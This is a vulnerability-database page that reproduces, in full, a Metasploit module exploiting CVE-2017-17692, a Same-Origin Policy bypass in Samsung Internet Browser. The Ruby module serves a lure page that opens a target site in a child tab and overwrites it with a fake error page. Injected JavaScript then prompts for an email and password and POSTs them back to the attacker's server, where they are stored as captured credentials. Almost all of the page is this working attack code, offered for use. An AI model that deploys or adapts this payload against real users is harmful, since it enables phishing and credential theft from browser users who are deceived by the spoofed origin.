Lucene search
K

Samsung Internet Browser SOP Bypass

🗓️ 20 Dec 2017 00:00:00Reported by Tod BeardsleyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 40 Views

Samsung Internet Browser SOP Bypass takes advantage of a Same-Origin Policy (SOP) vulnerability in the Samsung Internet Browser, enabling a redirect to a child tab and rewriting innerHTML to gather credentials via a fake pop-up

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Samsung Internet Browser - SOP Bypass Exploit
20 Dec 201700:00
zdt
Circl
CVE-2017-17692
29 May 201815:50
circl
CNVD
Samsung Internet Browser Security Bypass Vulnerability
22 Dec 201700:00
cnvd
Check Point Advisories
Samsung Internet Browser SOP Bypass (CVE-2017-17692)
2 Jan 201800:00
checkpoint_advisories
CVE
CVE-2017-17692
21 Dec 201719:00
cve
Cvelist
CVE-2017-17692
21 Dec 201719:00
cvelist
Exploit DB
Samsung Internet Browser - SOP Bypass (Metasploit)
20 Dec 201700:00
exploitdb
exploitpack
Samsung Internet Browser - SOP Bypass (Metasploit)
20 Dec 201700:00
exploitpack
Metasploit
Samsung Internet Browser SOP Bypass
8 Dec 201719:53
metasploit
NVD
CVE-2017-17692
21 Dec 201719:29
nvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Samsung Internet Browser SOP Bypass',  
'Description' => %q(  
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the  
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.  
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather  
credentials via a fake pop-up.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'Dhiraj Mishra', # Original discovery, disclosure  
'Tod Beardsley', # Metasploit module  
'Jeffrey Martin' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2017-17692' ],  
['URL', 'http://fr.0day.today/exploit/description/28434']  
],  
'DisclosureDate' => 'Nov 08 2017',  
'Actions' => [[ 'WebServer' ]],  
'PassiveActions' => [ 'WebServer' ],  
'DefaultAction' => 'WebServer'  
)  
)  
  
register_options([  
OptString.new('TARGET_URL', [  
true,  
'The URL to spoof origin from.',  
'http://example.com/'  
]),  
OptString.new('CUSTOM_HTML', [  
true,  
'HTML to display to the victim.',  
'This page has moved. Please <a href="#">click here</a> to redirect your browser.'  
])  
])  
  
register_advanced_options([  
OptString.new('CUSTOM_JS', [  
false,  
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",  
''  
])  
])  
  
end  
  
def run  
exploit # start http server  
end  
  
def evil_javascript  
return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?  
js = <<-EOS  
setTimeout(function(){  
x.document.body.innerHTML='<h1>404 Error</h1>'+  
'<p>Oops, something went wrong.</p>';  
a=x.prompt('E-mail','');  
b=x.prompt('Password','');  
var cred=JSON.stringify({'user':a,'pass':b});  
var xmlhttp = new XMLHttpRequest;  
xmlhttp.open('POST', window.location, true);  
xmlhttp.send(cred);  
}, 3000);  
EOS  
js  
end  
  
def setup  
@html = <<-EOS  
<html>  
<meta charset="UTF-8">  
<head>  
<script>  
function go(){  
try {  
var x = window.open('#{datastore['TARGET_URL']}');  
#{evil_javascript}  
} catch(e) { }  
}  
</script>  
</head>  
<body onclick="go()">  
#{datastore['CUSTOM_HTML']}  
</body></html>  
EOS  
end  
  
def store_cred(username,password)  
credential_data = {  
origin_type: :import,  
module_fullname: self.fullname,  
filename: 'msfconsole',  
workspace_id: myworkspace_id,  
service_name: 'web_service',  
realm_value: datastore['TARGET_URL'],  
realm_key: Metasploit::Model::Realm::Key::WILDCARD,  
private_type: :password,  
private_data: password,  
username: username  
}  
create_credential(credential_data)  
end  
  
# This assumes the default schema is being used.  
# If it's not that, it'll just display the collected POST data.  
def collect_data(request)  
cred = JSON.parse(request.body)  
u = cred['user']  
p = cred['pass']  
if u.blank? || p.blank?  
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")  
else  
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")  
store_cred(u,p)  
end  
end  
  
def on_request_uri(cli, request)  
case request.method.downcase  
when 'get' # initial connection  
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")  
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")  
send_response(cli, @html)  
when 'post' # must have fallen for it  
collect_data(request)  
else  
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")  
end  
end  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation